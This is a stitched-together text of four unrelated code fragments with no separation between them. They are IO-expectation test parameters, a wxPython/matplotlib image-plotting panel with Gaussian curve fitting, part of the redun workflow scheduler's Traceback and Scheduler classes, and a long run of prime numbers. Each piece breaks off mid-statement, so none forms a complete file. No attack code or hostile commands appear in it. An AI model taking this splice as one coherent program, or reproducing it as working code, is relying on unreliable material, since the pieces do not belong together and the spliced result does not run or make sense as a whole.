4), ios=lambda: (print('Expected output'), print('Expected output')), error_message=None), param( 'expect_repeatedly_equals_in_range', expected_io=expect.Repeatedly(expect.Equals('Expected output'), 2, 4), ios=lambda: (print('Expected output'), print('Expected output'), print('Expected output')), error_message=None), param( 'expect_repeatedly_equals_at_max', expected_io=expect.Repeatedly(expect.Equals('Expected output'), 2, 4), ios=lambda: (print('Expected output'), print('Expected output'), print('Expected output'), print('Expected output')), error_message=None), param( 'expect_repeatedly_equals_no_input', expected_io=expect.Repeatedly(expect.Equals('Expected output'), 2, 4), ios=lambda: None, error_message=("Pending IO expectation never fulfilled:\n" "Repeatedly(Equals('Expected output'), 2, 4)")), param( 'expect_repeatedly_equals_below_min', expected_io=expect.Repeatedly(expect.Equals('Expected output'), 2, 4), ios=lambda: print('Expected output'), error_message=("Pending IO expectation never fulfilled:\n" "Repeatedly(Equals('Expected output'), 1, 3)")), param( 'expect_repeatedly_equals_above_max', expected_io=expect.Repeatedly(expect.Equals('Expected output'), 2, 4), ios=lambda: (print('Expected output'), print('Expected output'), print('Expected output'), print('Expected output'), print('Expected output')), error_message="No more output expected, but got: 'Expected output\n'"), param( 'expect_repeatedly_equals_mismatch', expected_io=expect.Repeatedly(expect.Equals('Expected output'), 2, 4), ios=lambda: (print('Expected output'), print('Expected output'), print('Some other output')), error_message=("Unexpected output:\n" "- Repeatedly(Equals('Expected output'), 0, 2)\n" "+ 'Some other output\\n'")), param( 'expect_indefinitely_repeating_short_syntax_1', expected_io=expect.Repeatedly(['a', 'b']), ios=lambda: (print('a'), print('b'), print('a'), print('b')), error_message=None), param( 'expect_indefinitely_repeating_short_syntax_1_error', expected_io=expect.Repeatedly(['a', 'b']), ios=lambda: (print('a'), print('b'), print('b'), print('a')), error_message=("Unexpected output:\n" "- Repeatedly(InOrder(Contains('a'), Contains('b')))\n" "+ 'b\\n'")), param( 'expect_indefinitely_repeating_short_syntax_2', expected_io=expect.InOrder('a', 'b').repeatedly(), ios=lambda: (print('a'), print('b'), print('a'), print('b')), error_message=None), param( 'expect_indefinitely_repeating_short_syntax_2_error', expected_io=expect.InOrder('a', 'b').repeatedly(), ios=lambda: (print('a'), print('b'), print('b'), print('a')), error_message=("Unexpected output:\n" "- Repeatedly(InOrder(Contains('a'), Contains('b')))\n" "+ 'b\\n'")), param( 'expect_repeatedly_equals_short_syntax_below_min', expected_io=expect.Equals('Expected output').repeatedly(2, 4), ios=lambda: print('Expected output'), error_message=("Pending IO expectation never fulfilled:\n" "Repeatedly(Equals('Expected output'), 1, 3)")), param( 'expect_repeatedly_equals_short_syntax_above_max', expected_io=expect.Equals('Expected output').repeatedly(2, 4), ios=lambda: (print('Expected output'), print('Expected output'), print('Expected output'), print('Expected output'), print('Expected output')), error_message="No more output expected, but got: 'Expected output\n'"), # ==== InOrder ==== param( 'expect_in_order_equals', expected_io=expect.InOrder(expect.Equals('First expected output'), expect.Equals('Second expected output'), expect.Equals('Third
in range(self.n): ki = 'a' + str(i) retstr += "{k:<3s}: {v:>10.4f}\n".format( k=ki, v=p[ki].value) return retstr else: return "Nothing to report." def calc_p0(self): """ return p0 from input x, y """ if self._model == 'gaussian': x, xdata = self._x, self._y x0 = np.sum(x * xdata) / np.sum(xdata) p0 = { 'a': xdata.max(), 'x0': x0, 'xstd': (np.sum((x - x0)**2 * xdata) / np.sum(xdata))**0.5, 'y0': 0, } elif self._model == 'polynomial': p0 = {'a' + str(i): 1 for i in range(self.n)} return p0 def get_randstr(length=1): """ return string of random picked up chars :param length: string length to return """ chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz' retval = ''.join([random.choice(chars) for _ in range(length)]) return retval def get_file_info(filepath): """ return file information :param filepath: file full path name """ f_info = os.stat(filepath) f_ctime = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(f_info.st_ctime)) f_size_bytes = f_info.st_size f_name = os.path.basename(filepath) return {'name': f_name, 'ctime': f_ctime, 'bytes': f_size_bytes} def gaussian_fit(x, xdata, mode='full'): """ return fit result and fitmodels :param x: data to fit, x col, numpy array :param xdata: data to fit, y col, numpy array """ fm = FitModels() x0 = np.sum(x * xdata) / np.sum(xdata) p0 = { 'a': xdata.max(), 'x0': x0, 'xstd': (np.sum((x - x0)**2 * xdata) / np.sum(xdata))**0.5, 'y0': 0 } fm.set_data(x=x, y=xdata) fm.set_params(**p0) res = fm.fit() if mode == 'full': return res, fm elif mode == 'simple': return [res.params[k].value for k in ('x0', 'xstd')] class AnalysisPlotPanel(uiutils.MyPlotPanel): def __init__(self, parent, data=None, **kwargs): """ data: m x n image array """ if data is None: x = y = np.linspace(-np.pi, np.pi, 100) xx, yy = np.meshgrid(x, y) data = func_sinc(xx, yy) #data = np.zeros([50, 50]) self.data = data self.cmap = 'jet' # axis directions self.xaxis_direction = True # left->right: small->big self.yaxis_direction = True # bottom->up : small->big self.line_color = wx.Colour(255, 165, 0).GetAsString(wx.C2S_HTML_SYNTAX) self.mec = wx.Colour(255, 0, 0).GetAsString(wx.C2S_HTML_SYNTAX) self.mfc = wx.Colour(255, 0, 0).GetAsString(wx.C2S_HTML_SYNTAX) # pos markers M1 and M2 self.mkc1 = wx.Colour(255, 0, 0).GetAsString(wx.C2S_HTML_SYNTAX) self.mkc2 = wx.Colour(240, 230, 140).GetAsString(wx.C2S_HTML_SYNTAX) self.pcc = wx.Colour(0, 0, 0).GetAsString(wx.C2S_HTML_SYNTAX) self.mk1, self.mk2 = False, False uiutils.MyPlotPanel.__init__(self, parent, **kwargs) # specific relationship between self and the parent? frame self.mframe_point = self.parent.GetParent().GetParent() def set_color(self, rgb_tuple): """ set figure and canvas with the same color. :param rgb_tuple: rgb color tuple, e.g. (255, 255, 255) for white color """ if rgb_tuple is None: rgb_tuple = wx.SystemSettings.GetColour( wx.SYS_COLOUR_WINDOWFRAME).Get() clr = [c / 255.0 for c in rgb_tuple] self.figure.set_facecolor(clr) self.figure.set_edgecolor(clr) def _init_plot(self): pass def on_press(self, event): if event.inaxes: x0, y0 = event.xdata, event.ydata self.draw_hvlines(x0, y0) def on_release(self, event): pass #x0, y0 = event.xdata, event.ydata #self.x0, self.y0 = x0, y0 def set_markflags(self, mk1=False, mk2=False): self.mk1, self.mk2 = mk1, mk2 try: if self.mk1 == True: self._draw_hvlines1(self.x_pos1, self.y_pos1) elif self.mk2 == True: self._draw_hvlines2(self.x_pos2, self.y_pos2) except: return def set_mkc1(self, color): self.mkc1 = color def set_mkc2(self, color): self.mkc2 = color def set_pcc(self, color): self.pcc = color if hasattr(self, 'pc1'): self.pc1.set_mec(color) self.pc1.set_mfc(color) if hasattr(self, 'pc2'): self.pc2.set_mec(color) self.pc2.set_mfc(color) if hasattr(self, 'plbl1'): self.plbl1.set_color(color) if hasattr(self, 'plbl2'): self.plbl2.set_color(color) self.refresh() def draw_hvlines(self, x0, y0): if self.mk1 == True: self._draw_hvlines1(x0, y0) elif self.mk2 == True: self._draw_hvlines2(x0, y0) try: self.update_deltxy() except: pass def _draw_hvlines1(self, x0, y0): if hasattr(self, 'hl1'): self.hl1.set_ydata([y0, y0]) else: self.hl1 = self.axes.axhline(y0, ls='--') self.hl1.set_color(self.mkc1) if hasattr(self, 'vl1'): self.vl1.set_xdata([x0, x0]) else: self.vl1 = self.axes.axvline(x0, ls='--') self.vl1.set_color(self.mkc1) if hasattr(self, 'pc1'): self.pc1.set_data(x0, y0) else: self.pc1, = self.axes.plot(x0, y0, 'ko', ms=6, mfc='k', mec='k') self.pc1.set_mec(self.pcc) self.pc1.set_mfc(self.pcc) if hasattr(self, 'plbl1'): self.plbl1.set_position((x0, y0)) else: self.plbl1 = self.axes.text(x0, y0, r'$\mathsf{M1}$', fontsize=16) self.plbl1.set_color(self.pcc) self.x_pos1, self.y_pos1 = x0, y0 try: self.mframe_point.m1_pos_st.SetLabel( '{0:.1f},{1:.1f}'.format(x0, y0)) except: pass self.refresh() def _draw_hvlines2(self, x0, y0): if hasattr(self, 'hl2'): self.hl2.set_ydata([y0, y0]) else: self.hl2 = self.axes.axhline(y0, color='r', ls='--') self.hl2.set_color(self.mkc2) if hasattr(self, 'vl2'): self.vl2.set_xdata([x0, x0]) else: self.vl2 = self.axes.axvline(x0, color='r', ls='--') self.vl2.set_color(self.mkc2) if hasattr(self, 'pc2'): self.pc2.set_data(x0, y0) else: self.pc2, = self.axes.plot(x0, y0, 'ko', ms=6, mfc='k', mec='k') self.pc2.set_mec(self.pcc) self.pc2.set_mfc(self.pcc) if hasattr(self, 'plbl2'): self.plbl2.set_position((x0, y0)) else: self.plbl2 = self.axes.text(x0, y0, r'$\mathsf{M2}$', fontsize=16) self.plbl2.set_color(self.pcc) self.x_pos2, self.y_pos2 = x0, y0 try: self.mframe_point.m2_pos_st.SetLabel( '{0:.1f},{1:.1f}'.format(x0, y0)) except: pass self.refresh() def update_deltxy(self): m1_pos_val = self.mframe_point.m1_pos_st.GetLabel() m2_pos_val = self.mframe_point.m2_pos_st.GetLabel() if m1_pos_val != '' and m2_pos_val != '': x1, y1 = [float(i) for i in m1_pos_val.split(',')] x2, y2 = [float(i) for i in m2_pos_val.split(',')] dx = abs(x1 - x2) dy = abs(y1 - y2) self.mframe_point.delx_val_st.SetLabel("{0:.1f}".format(dx)) self.mframe_point.dely_val_st.SetLabel("{0:.1f}".format(dy)) def set_colormap(self, cmap): self.cmap = cmap self.image.set_cmap(cmap) self.refresh() def set_linecolor(self, color): self.line_color = color [line.set_color(color) for line in self.line_list] self.refresh() def set_fontsize(self, fontsize): x_lbl = self.axes.get_xlabel() y_lbl = self.axes.get_ylabel() self.axes.set_xlabel(x_lbl, fontsize=fontsize + 4) self.axes.set_ylabel(y_lbl, fontsize=fontsize + 4) self.axes.tick_params(labelsize=fontsize) self.refresh() def set_line_id(self, line='raw'): """ selected current editable line, 'raw': raw data 'fitted': fitted lines 'none': hide all lines 'show': show all lines """ if line == 'none': self.linex.set_visible(False) self.liney.set_visible(False) self.linex_fit.set_visible(False) self.liney_fit.set_visible(False) self.line_list = [] elif line == 'show': self.linex.set_visible(True) self.liney.set_visible(True) self.linex_fit.set_visible(True) self.liney_fit.set_visible(True) self.line_list = [ self.linex, self.liney, self.linex_fit, self.liney_fit ] elif line == 'raw': self.linex.set_visible(True) self.liney.set_visible(True) self.linex_fit.set_visible(False) self.liney_fit.set_visible(False) self.line_list = [self.linex, self.liney] elif line == 'fit': self.linex.set_visible(False) self.liney.set_visible(False) self.linex_fit.set_visible(True) self.liney_fit.set_visible(True) self.line_list = [self.linex_fit, self.liney_fit] self.refresh() def set_lines(self): if self.data is None: return data = self.data hx, hy = np.sum(data, 0), np.sum(data, 1) idxmaxx, idxmaxy = np.where(hx == hx.max()), np.where(hy == hy.max()) maxidx, maxidy = idxmaxx[0][0], idxmaxy[0][0] x, y = np.arange(hx.size), np.arange(hy.size) hx = hx / hx.max() * maxidy hy = hy / hy.max() * maxidx res_x, fm_x = gaussian_fit(x, hx) res_y, fm_y = gaussian_fit(y, hy) self.linex, = self.axes.plot(x, hx) self.liney, = self.axes.plot(hy, y) self.linex.set_color(self.line_color) self.liney.set_color(self.line_color) self.linex.set_marker('') self.linex.set_markersize(5) self.linex.set_mec(self.mec) self.linex.set_mfc(self.mfc) self.liney.set_marker('') self.liney.set_markersize(5) self.liney.set_mec(self.mec) self.liney.set_mfc(self.mfc) # fitted lines x_fit = np.linspace(x.min(), x.max(), 200) y_fit = np.linspace(y.min(), y.max(), 200) fx, tx = fm_x.get_fitfunc(res_x.params) fy, ty = fm_y.get_fitfunc(res_y.params) self.linex_fit, = self.axes.plot(x_fit, fx(res_x.params, x_fit)) self.liney_fit, = self.axes.plot(fy(res_y.params, y_fit), y_fit) self.linex_fit.set_color(self.line_color) self.liney_fit.set_color(self.line_color) self.linex_fit.set_marker('') self.linex_fit.set_markersize(5) self.linex_fit.set_mec(self.mec) self.linex_fit.set_mfc(self.mfc) self.liney_fit.set_marker('') self.liney_fit.set_markersize(5) self.liney_fit.set_mec(self.mec) self.liney_fit.set_mfc(self.mfc) self.axes.set_xlim([x.min(), x.max()]) self.axes.set_ylim([y.min(), y.max()]) # hide all lines self.linex.set_visible(False) self.liney.set_visible(False) self.linex_fit.set_visible(False) self.liney_fit.set_visible(False) self.refresh() self.res_x, self.res_y = res_x, res_y self.line_list = [] def get_fit_report(self, xoy='x'): """ return fitting report if success, else return None """ if xoy == 'x': p = self.res_x.params else: p = self.res_y.params retstr2 = "f(x) = a*exp(-(x-x0)^2/2/sx^2)+y0" + "\n" retstr4 = " {a0_k:<3s}: {a0_v:>10.4f}\n".format( a0_k='a', a0_v=p['a'].value) retstr5 = " {x0_k:<3s}: {x0_v:>10.4f}\n".format( x0_k='x0', x0_v=p['x0'].value) retstr6 = " {sx_k:<3s}: {sx_v:>10.4f}\n".format( sx_k='sx', sx_v=p['xstd'].value) retstr7 = " {y0_k:<3s}: {y0_v:>10.4f}".format( y0_k='y0', y0_v=p['y0'].value) retval = retstr2 + retstr4 + retstr5 + retstr6 + retstr7 if 'nan' in retval: return None else: return retval def set_figure_data(self, data, fit=True): self.data = data if not hasattr(self, 'axes'): self.axes = self.figure.add_subplot(111, aspect=1.0) self.z = data self.image = self.axes.imshow(self.z, cmap=self.cmap) if fit: self.set_lines() else: dimx, dimy = self.z.shape x, y = np.arange(dimy), np.arange(dimx) self.image.set_extent([x.min(), x.max(), y.min(), y.max()]) self.refresh() def set_linestyle(self, ls): [line.set_linestyle(ls) for line in self.line_list] self.refresh() def set_marker(self, mk): [line.set_marker(mk) for line in self.line_list] self.refresh() def set_markersize(self, ms): [line.set_markersize(ms) for line in self.line_list] self.refresh() def set_mec(self, c): self.mec = c [line.set_mec(c) for line in self.line_list] self.refresh() def set_mfc(self, c): self.mfc = c [line.set_mfc(c) for line in self.line_list] self.refresh() def set_linewidth(self, lw): [line.set_linewidth(lw) for line in self.line_list] self.refresh() def set_ticks(self, flag='half'): # ticks position if flag == 'half': s = ['on', 'on', 'off', 'off'] self.axes.tick_params(labelbottom=s[0]) self.axes.tick_params(labelleft=s[1]) self.axes.tick_params(labeltop=s[2]) self.axes.tick_params(labelright=s[3]) elif flag == 'all': s = ['on', 'on', 'on', 'on'] self.axes.tick_params(labelbottom=s[0]) self.axes.tick_params(labelleft=s[1]) self.axes.tick_params(labeltop=s[2]) self.axes.tick_params(labelright=s[3]) self.refresh() def set_mticks(self, flag='off'): if flag == 'on': self.axes.minorticks_on() self.refresh() elif flag == 'off': self.axes.minorticks_off() self.refresh() def set_grids(self, color, b=None, which='major'): if b is None: self.axes.grid(which=which, color=color, linestyle='--') else: self.axes.grid(b=False) self.refresh() def set_origin(self, ll=False, ul=False, ur=False, lr=False): if ll: self.direct_xyaxis(True, True) self.axes.xaxis.set_ticks_position('bottom') self.axes.yaxis.set_ticks_position('left') self.axes.xaxis.set_label_position('bottom') self.axes.yaxis.set_label_position('left') if ul: self.direct_xyaxis(True, False) self.axes.xaxis.set_ticks_position('top') self.axes.yaxis.set_ticks_position('left') self.axes.xaxis.set_label_position('top') self.axes.yaxis.set_label_position('left') if ur: self.direct_xyaxis(False, False) self.axes.xaxis.set_ticks_position('top') self.axes.yaxis.set_ticks_position('right') self.axes.xaxis.set_label_position('top') self.axes.yaxis.set_label_position('right') if lr: self.direct_xyaxis(False, True) self.axes.xaxis.set_ticks_position('bottom') self.axes.yaxis.set_ticks_position('right') self.axes.xaxis.set_label_position('bottom') self.axes.yaxis.set_label_position('right') self.refresh() def get_clim(self): clim = self.image.get_clim() return "{cmin:.1f} : {cmax:.1f}".format(cmin=clim[0], cmax=clim[1]) def set_clim(self, cr): clim = sorted(float(i) for i in cr.split(':')) self.image.set_clim(clim) self.refresh() def direct_xyaxis(self, x_direction, y_direction): if self.xaxis_direction != x_direction: self.axes.invert_xaxis() self.xaxis_direction = x_direction if self.yaxis_direction != y_direction: self.axes.invert_yaxis() self.yaxis_direction = y_direction def hide_image(self, hide_flag): self.image.set_visible(not hide_flag) self.refresh() def clear(self): if hasattr(self, 'axes'): self.axes.cla() def get_data(self): """ return data: image, raw data, fit data """ data = {} data['raw'] = {}
""" type_name = "redun.Traceback" def __init__(self, error: Any, frames: List[FrameSummary], logs: Optional[List[str]] = None): self.error: Any = error self.frames = frames self.logs: List[str] = logs or [] def __getstate__(self) -> dict: return { "error": self.error, "frames": self.frames, "logs": self.logs, } def __setstate__(self, state: dict) -> None: self.error = state["error"] self.frames = state["frames"] self.logs = state["logs"] @classmethod def from_error(self, error: Exception, trim_frames=True) -> "Traceback": """ Returns a new :class:`Traceback` derived from an Exception. Parameters ---------- error : Exception Exception object from which to derive a Traceback. trim_frames : bool If True, do not include redun scheduler related frames in Traceback. """ frames = list(traceback.extract_tb(error.__traceback__)) if trim_frames: frames = self.trim_frames(frames) return Traceback(error, frames) @classmethod def trim_frames(self, frames: List[FrameSummary]) -> List[FrameSummary]: # As we walk back through the call stack, when we reach a frame from # redun's executors or cli, we know we have left the user's code. redun_path_prefixes = [ os.path.join(os.path.dirname(__file__), "executors"), os.path.join(os.path.dirname(__file__), "cli.py"), ] return list( reversed( list( takewhile( lambda frame: not any( frame.filename.startswith(prefix) for prefix in redun_path_prefixes ), reversed(frames), ) ) ) ) def format(self) -> Iterator[str]: """ Iterates through lines displaying the :class:`Traceback`. """ for frame in self.frames: if isinstance(frame, Frame): yield ' Job {job}: File "{file}", line {lineno}, in {task}\n'.format( job=frame.job.id[:8], file=frame.filename, lineno=frame.lineno, task=frame.name, ) else: yield ' File "{file}", line {lineno}, in {func}\n'.format( file=frame.filename, lineno=frame.lineno, func=frame.name, ) yield " {line}\n".format(line=frame.line) if frame.locals: var_width = max(map(len, frame.locals.keys())) for key, value in sorted(frame.locals.items()): yield " {key} = {value}\n".format(key=key.ljust(var_width), value=value) yield "{}: {}".format(type(self.error).__name__, self.error) if self.logs: yield "\n" yield "Latest logs:\n" for line in self.logs: yield line class ErrorValue(Value): """ Value for wrapping Exceptions raised by Task. """ type_name = "redun.ErrorValue" def __init__(self, error: Exception, traceback: Optional[Traceback] = None): assert isinstance(error, Exception) self.error = error self.traceback = traceback def __repr__(self) -> str: return "ErrorValue({})".format(repr(self.error)) def get_hash(self, data: Optional[bytes] = None) -> str: registry = get_type_registry() return hash_struct( ["redun.ErrorValue", registry.get_hash(self.error), registry.get_hash(self.traceback)] ) def __getstate__(self) -> dict: return {"error": self.error, "traceback": self.traceback} def __setstate__(self, state: dict) -> None: self.error = state["error"] self.traceback = state["traceback"] @task(name="root_task", namespace="redun") def root_task(expr: QuotedExpression[Result]) -> Result: """ Default task used for a root job in an Execution. """ return expr.eval() def needs_root_task(expr: Any) -> bool: """ Returns True if expression `expr` needs to be wrapped in a root task. """ if not isinstance(expr, TaskExpression) or isinstance(expr, SchedulerExpression): return True return any( isinstance(arg, TaskExpression) for arg in iter_nested_value((expr.args, expr.kwargs)) ) class Scheduler: """ Scheduler for evaluating redun tasks. """ def __init__( self, config: Optional[Config] = None, backend: Optional[RedunBackend] = None, executor: Optional[Executor] = None, logger: Optional[Any] = None, use_task_traceback: bool = True, job_status_interval: Optional[int] = None, migrate: Optional[bool] = None, ): self.config = config or Config() self.logger = logger or _logger self.ignore_warnings = get_ignore_warnings_from_config(self.config.get("scheduler", {})) self.use_task_traceback = use_task_traceback self.traceback: Optional[Traceback] = None self.job_status_interval: Optional[int] = job_status_interval or int( self.config.get("scheduler", {}).get("job_status_interval", 20) ) if self.job_status_interval <= 0: self.job_status_interval = None # Setup backend. if backend is None: backend = get_backend_from_config(self.config.get("backend")) self.backend: RedunBackend = backend # Setup executors. self.executors: Dict[str, Executor] = {} if executor: self.add_executor(executor) else: # Add default executors. self.add_executor(LocalExecutor("default", mode="thread")) self.add_executor(LocalExecutor("process", mode="process")) for executor in get_executors_from_config(self.config.get("executors", {})): self.add_executor(executor) # Setup limits. self.limits: Dict[str, int] = get_limits_from_config(self.config.get("limits")) self.limits_used: Dict[str, int] = defaultdict(int) self._jobs_pending_limits: List[Tuple[Job, Tuple[tuple, dict]]] = [] # Setup execution tags. tags = self.config.get("tags", {}) self._exec_tags = [(key, parse_tag_value(value)) for key, value in tags.items()] # Registries (aka environment). self.task_registry = get_task_registry() self.type_registry = get_type_registry() # Scheduler state. self.thread_id: Optional[int] = None self.events_queue: queue.Queue = queue.Queue() self.workflow_promise: Optional[Promise] = None self._current_execution: Optional[Execution] = None self._pending_expr: Dict[str, Tuple[Promise, Job]] = {} self._jobs: Set[Job] = set() self._finalized_jobs: Dict[str, Dict[str, int]] = defaultdict(lambda: defaultdict(int)) self.dryrun = False self.use_cache = True def add_executor(self, executor: Executor) -> None: """ Add executor to scheduler. """ self.executors[executor.name] = executor executor.scheduler = self def load(self, migrate: Optional[bool] = None) -> None: self.backend.load(migrate=migrate) def log( self, *messages: Any, indent: int = 0, multiline: bool = False, level: int = logging.INFO ) -> None: text = " ".join(map(str, messages)) if not multiline: lines = text.split("\n") else: lines = [text] for line in lines: self.logger.log(level, (" " * indent) + line) def _validate_tasks(self) -> None: """ Validate that tasks are properly configured. """ invalid_tasks = [task for task in self.task_registry if not task.namespace] if invalid_tasks and "namespace" not in self.ignore_warnings: task_names = [ "{}:{}".format( os.path.basename(task.func.__code__.co_filename), task.func.__name__ ) for task in invalid_tasks ] self.logger.warning( "Tasks will require namespace soon. Either set namespace in the `@task` decorator " "or with the module-level variable `redun_namespace`.\n" "tasks needing namespace: {}".format(", ".join(task_names)) ) @overload def run( self, expr: Expression[Result], exec_argv: Optional[List[str]] = None, dryrun: bool = False, cache: bool = True, tags: Iterable[Tuple[str, Any]] = (), ) -> Result: pass @overload def run( self, expr: Result, exec_argv: Optional[List[str]] = None, dryrun: bool = False, cache: bool = True, tags: Iterable[Tuple[str, Any]] = (), ) -> Result: pass def run( self, expr: Union[Expression[Result], Result], exec_argv: Optional[List[str]] = None, dryrun: bool = False, cache: bool = True, tags: Iterable[Tuple[str, Any]] = (), ) -> Result: """ Run the scheduler to evaluate a Task or Expression. """ if needs_root_task(expr): # Ensure we always have one root-level job encompassing the whole execution. expr = root_task(quote(expr)) self._validate_tasks() self.backend.calc_current_nodes({task.hash for task in self.task_registry}) # Set scheduler and start executors. set_current_scheduler(self) for executor in self.executors.values(): executor.start() self.dryrun = dryrun self.use_cache = cache self.traceback = None # Start execution. if exec_argv is None: exec_argv = ["scheduler.run", trim_string(repr(expr))] self._current_execution = Execution(self.backend.record_execution(exec_argv)) self.backend.record_tags( TagEntityType.Execution, self._current_execution.id, chain(self._exec_tags, tags) ) self.log( "Start Execution {exec_id}: redun {argv}".format( exec_id=self._current_execution.id, argv=" ".join(map(shlex.quote, exec_argv[1:])), ) ) # Start event loop to evaluate expression. start_time = time.time() self.thread_id = threading.get_ident() self._pending_expr.clear() self._jobs.clear() result = self.evaluate(expr) self.process_events(result) # Log execution duration. duration = time.time() - start_time self.log(f"Execution duration: {duration:.2f} seconds") # Stop executors and unset scheduler. for executor in self.executors.values(): executor.stop() set_current_scheduler(None) # Return or raise result depending on whether it succeeded. if result.is_fulfilled: return result.value elif result.is_rejected: if self.traceback: # Log traceback. self.log("*** Execution failed. Traceback (most recent task last):") for line in self.traceback.format(): self.log(line.rstrip("\n")) raise result.value elif result.is_pending and self.dryrun: self.log("Dryrun: Additional jobs would run.") raise DryRunResult() else: raise AssertionError("Unexpected state") def process_events(self, workflow_promise: Promise) -> None: """ Main scheduler event loop for evaluating the current expression. """ self.workflow_promise = workflow_promise while self.workflow_promise.is_pending: if self.dryrun and self.events_queue.empty(): # We have exhausted the completed part of the workflow. break try: event_func = self.events_queue.get(timeout=self.job_status_interval) event_func() except KeyboardInterrupt: self.log("Shutting down... Ctrl+C again to force shutdown.") sys.exit(1) except queue.Empty: if not is_debugger_active(): # Print job statuses periodically. # For convenience, do not print statuses if the debugger is # active since they interfere with the debugger REPL. self.log_job_statuses() # Print final job statuses. self.log_job_statuses() def log_job_statuses(self) -> None: """ Display Job statuses. """ # Gather job status information. status_counts: Dict[str, Dict[str, int]] = defaultdict(lambda: defaultdict(int)) for job in self._jobs: status_counts[job.task_name][job.status] += 1 status_counts[job.task_name]["TOTAL"] += 1 for task_name, task_status_counts in self._finalized_jobs.items(): for status, count in task_status_counts.items(): status_counts[task_name][status] += count status_counts[task_name]["TOTAL"] += count # Create counts table. task_names = sorted(status_counts.keys()) table: List[List[str]] = ( [["TASK"] + Job.STATUSES] + [ ["ALL"] + [ str(sum(status_counts[task_name][status] for task_name in task_names)) for status in Job.STATUSES ] ] + [ [task_name] + [str(status_counts[task_name][status]) for status in Job.STATUSES] for task_name in task_names ] ) # Display job status table. self.log() now = datetime.datetime.now() self.log("| JOB STATUS {}".format(now.strftime("%Y/%m/%d %H:%M:%S"))) lines = format_table(table, "lrrrrrr", min_width=7) for line in lines: self.log("| " + line) self.log() def evaluate(self, expr: AnyExpression, parent_job: Optional[Job] = None) -> Promise: """ Begin an evaluation of an expression (concrete value or Expression). Returns a Promise that will resolve when the evaluation is complete. """ def eval_term(value): # Evaluate one term of an expression. if isinstance(value, ValueExpression): return value.value elif isinstance(value, ApplyExpression): return self.evaluate_apply(value, parent_job=parent_job) else: return value def resolve_term(value): # Replace promises with their resolved values. if isinstance(value, Promise): return value.value else: return value pending_expr
92567, 92569, 92581, 92593, 92623, 92627, 92639, 92641, 92647, 92657, 92669, 92671, 92681, 92683, 92693, 92699, 92707, 92717, 92723, 92737, 92753, 92761, 92767, 92779, 92789, 92791, 92801, 92809, 92821, 92831, 92849, 92857, 92861, 92863, 92867, 92893, 92899, 92921, 92927, 92941, 92951, 92957, 92959, 92987, 92993, 93001, 93047, 93053, 93059, 93077, 93083, 93089, 93097, 93103, 93113, 93131, 93133, 93139, 93151, 93169, 93179, 93187, 93199, 93229, 93239, 93241, 93251, 93253, 93257, 93263, 93281, 93283, 93287, 93307, 93319, 93323, 93329, 93337, 93371, 93377, 93383, 93407, 93419, 93427, 93463, 93479, 93481, 93487, 93491, 93493, 93497, 93503, 93523, 93529, 93553, 93557, 93559, 93563, 93581, 93601, 93607, 93629, 93637, 93683, 93701, 93703, 93719, 93739, 93761, 93763, 93787, 93809, 93811, 93827, 93851, 93871, 93887, 93889, 93893, 93901, 93911, 93913, 93923, 93937, 93941, 93949, 93967, 93971, 93979, 93983, 93997, 94007, 94009, 94033, 94049, 94057, 94063, 94079, 94099, 94109, 94111, 94117, 94121, 94151, 94153, 94169, 94201, 94207, 94219, 94229, 94253, 94261, 94273, 94291, 94307, 94309, 94321, 94327, 94331, 94343, 94349, 94351, 94379, 94397, 94399, 94421, 94427, 94433, 94439, 94441, 94447, 94463, 94477, 94483, 94513, 94529, 94531, 94541, 94543, 94547, 94559, 94561, 94573, 94583, 94597, 94603, 94613, 94621, 94649, 94651, 94687, 94693, 94709, 94723, 94727, 94747, 94771, 94777, 94781, 94789, 94793, 94811, 94819, 94823, 94837, 94841, 94847, 94849, 94873, 94889, 94903, 94907, 94933, 94949, 94951, 94961, 94993, 94999, 95003, 95009, 95021, 95027, 95063, 95071, 95083, 95087, 95089, 95093, 95101, 95107, 95111, 95131, 95143, 95153, 95177, 95189, 95191, 95203, 95213, 95219, 95231, 95233, 95239, 95257, 95261, 95267, 95273, 95279, 95287, 95311, 95317, 95327, 95339, 95369, 95383, 95393, 95401, 95413, 95419, 95429, 95441, 95443, 95461, 95467, 95471, 95479, 95483, 95507, 95527, 95531, 95539, 95549, 95561, 95569, 95581, 95597, 95603, 95617, 95621, 95629, 95633, 95651, 95701, 95707, 95713, 95717, 95723, 95731, 95737, 95747, 95773, 95783, 95789, 95791, 95801, 95803, 95813, 95819, 95857, 95869, 95873, 95881, 95891, 95911, 95917, 95923, 95929, 95947, 95957, 95959, 95971, 95987, 95989, 96001, 96013, 96017, 96043, 96053, 96059, 96079, 96097, 96137, 96149, 96157, 96167, 96179, 96181, 96199, 96211, 96221, 96223, 96233, 96259, 96263, 96269, 96281, 96289, 96293, 96323, 96329, 96331, 96337, 96353, 96377, 96401, 96419, 96431, 96443, 96451, 96457, 96461, 96469, 96479, 96487, 96493, 96497, 96517, 96527, 96553, 96557, 96581, 96587, 96589, 96601, 96643, 96661, 96667, 96671, 96697, 96703, 96731, 96737, 96739, 96749, 96757, 96763, 96769, 96779, 96787, 96797, 96799, 96821, 96823, 96827, 96847, 96851, 96857, 96893, 96907, 96911, 96931, 96953, 96959, 96973, 96979, 96989, 96997, 97001, 97003, 97007, 97021, 97039, 97073, 97081, 97103, 97117, 97127, 97151, 97157, 97159, 97169, 97171, 97177, 97187, 97213, 97231, 97241, 97259, 97283, 97301, 97303, 97327, 97367, 97369, 97373, 97379, 97381, 97387, 97397, 97423, 97429, 97441, 97453, 97459, 97463, 97499, 97501, 97511, 97523, 97547, 97549, 97553, 97561, 97571, 97577, 97579, 97583, 97607, 97609, 97613, 97649, 97651, 97673, 97687, 97711, 97729, 97771, 97777, 97787, 97789, 97813, 97829, 97841, 97843, 97847, 97849, 97859, 97861, 97871, 97879, 97883, 97919, 97927, 97931, 97943, 97961, 97967, 97973, 97987, 98009, 98011, 98017, 98041, 98047, 98057, 98081, 98101, 98123, 98129, 98143, 98179, 98207, 98213, 98221, 98227, 98251, 98257, 98269, 98297, 98299, 98317, 98321, 98323, 98327, 98347, 98369, 98377, 98387, 98389, 98407, 98411, 98419, 98429, 98443, 98453, 98459, 98467, 98473, 98479, 98491, 98507, 98519, 98533, 98543, 98561, 98563, 98573, 98597, 98621, 98627, 98639, 98641, 98663, 98669, 98689, 98711, 98713, 98717, 98729, 98731, 98737, 98773, 98779, 98801, 98807, 98809, 98837, 98849, 98867, 98869, 98873, 98887, 98893, 98897, 98899, 98909, 98911, 98927, 98929, 98939, 98947, 98953, 